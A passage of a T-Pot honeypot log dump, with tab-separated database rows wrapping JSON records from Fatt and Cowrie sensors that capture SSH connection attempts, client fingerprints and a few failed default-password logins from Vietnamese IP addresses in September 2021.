"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 52056, "timestamp": "2021-09-20T11:11:45.725362", "@timestamp": "2021-09-20T11:11:45.725Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26087	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:11:45.950311+03	2021-09-20 14:15:12.814645+03	{"_id": "MQbnAnwBvYTbRNuEnyBT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 46516, "dest_port": 22, "timestamp": "2021-09-20T11:11:45.950311", "@timestamp": "2021-09-20T11:11:45.950Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26088	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:45.646544+03	2021-09-20 14:15:12.816646+03	{"_id": "MwbnAnwBvYTbRNuEnyD9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:46516 (192.168.176.2:22) [session: 5c71648210c7]", "session": "5c71648210c7", "@version": "1", "protocol": "ssh", "src_port": 46516, "dest_port": 22, "timestamp": "2021-09-20T11:11:45.646544Z", "@timestamp": "2021-09-20T11:11:45.646Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26089	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:45.720223+03	2021-09-20 14:15:12.817646+03	{"_id": "NAbnAnwBvYTbRNuEnyD9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:52056 (192.168.176.2:22) [session: 6df13f274ec3]", "session": "6df13f274ec3", "@version": "1", "protocol": "ssh", "src_port": 52056, "dest_port": 22, "timestamp": "2021-09-20T11:11:45.720223Z", "@timestamp": "2021-09-20T11:11:45.720Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26090	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:46.344014+03	2021-09-20 14:15:12.818646+03	{"_id": "NQbnAnwBvYTbRNuEnyD9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:43136 (192.168.176.2:22) [session: ace5b5b42c11]", "session": "ace5b5b42c11", "@version": "1", "protocol": "ssh", "src_port": 43136, "dest_port": 22, "timestamp": "2021-09-20T11:11:46.344014Z", "@timestamp": "2021-09-20T11:11:46.344Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26091	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:46.464336+03	2021-09-20 14:15:12.820644+03	{"_id": "NgbnAnwBvYTbRNuEnyD9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:60394 (192.168.176.2:22) [session: 8fbc0dcdcced]", "session": "8fbc0dcdcced", "@version": "1", "protocol": "ssh", "src_port": 60394, "dest_port": 22, "timestamp": "2021-09-20T11:11:46.464336Z", "@timestamp": "2021-09-20T11:11:46.464Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26092	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:46.47504+03	2021-09-20 14:15:12.821646+03	{"_id": "NwbnAnwBvYTbRNuEnyD9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:51766 (192.168.176.2:22) [session: ceced7ff072f]", "session": "ceced7ff072f", "@version": "1", "protocol": "ssh", "src_port": 51766, "dest_port": 22, "timestamp": "2021-09-20T11:11:46.475040Z", "@timestamp": "2021-09-20T11:11:46.475Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26093	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:46.531852+03	2021-09-20 14:15:12.823645+03	{"_id": "OAbnAnwBvYTbRNuEnyD9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:57168 (192.168.176.2:22) [session: ae7fd3fabf78]", "session": "ae7fd3fabf78", "@version": "1", "protocol": "ssh", "src_port": 57168, "dest_port": 22, "timestamp": "2021-09-20T11:11:46.531852Z", "@timestamp": "2021-09-20T11:11:46.531Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26094	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:45.649558+03	2021-09-20 14:15:12.824646+03	{"_id": "UwbnAnwBvYTbRNuEnyD9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5c71648210c7", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:45.649558Z", "@timestamp": "2021-09-20T11:11:45.649Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26095	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:45.723143+03	2021-09-20 14:15:12.826645+03	{"_id": "VAbnAnwBvYTbRNuEnyD9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "6df13f274ec3", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:45.723143Z", "@timestamp": "2021-09-20T11:11:45.723Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26096	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:45.950577+03	2021-09-20 14:15:12.827646+03	{"_id": "VQbnAnwBvYTbRNuEnyD9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5c71648210c7", "@version": "1", "timestamp": "2021-09-20T11:11:45.950577Z", "@timestamp": "2021-09-20T11:11:45.950Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26097	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:46.046049+03	2021-09-20 14:15:12.828646+03	{"_id": "VgbnAnwBvYTbRNuEnyD9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [testing/12345] failed", "session": "212532671301", "@version": "1", "password": "12345", "username": "testing", "timestamp": "2021-09-20T11:11:46.046049Z", "@timestamp": "2021-09-20T11:11:46.046Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
26098	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:46.063048+03	2021-09-20 14:15:12.830645+03	{"_id": "VwbnAnwBvYTbRNuEnyD9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [test/testuser] failed", "session": "b7fdd28058b6", "@version": "1", "password": "testuser", "username": "test", "timestamp": "2021-09-20T11:11:46.063048Z", "@timestamp": "2021-09-20T11:11:46.063Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26099	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:46.385455+03	2021-09-20 14:15:12.831645+03	{"_id": "WAbnAnwBvYTbRNuEnyD9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ace5b5b42c11", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:46.385455Z", "@timestamp": "2021-09-20T11:11:46.385Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
26100	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:46.467012+03	2021-09-20 14:15:12.833645+03	{"_id": "WQbnAnwBvYTbRNuEnyD9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "8fbc0dcdcced", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:46.467012Z", "@timestamp": "2021-09-20T11:11:46.467Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26101	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:11:46.51474+03	2021-09-20 14:15:12.834645+03	{"_id": "WgbnAnwBvYTbRNuEnyD9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [test/123456] failed", "session": "0f0ff7b1d7bc", "@version": "1", "password": "123456", "username": "test", "timestamp": "2021-09-20T11:11:46.514740Z", "@timestamp": "2021-09-20T11:11:46.514Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26102	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:46.516884+03	2021-09-20 14:15:12.836646+03	{"_id": "WwbnAnwBvYTbRNuEnyD9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ceced7ff072f", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:46.516884Z", "@timestamp": "2021-09-20T11:11:46.516Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
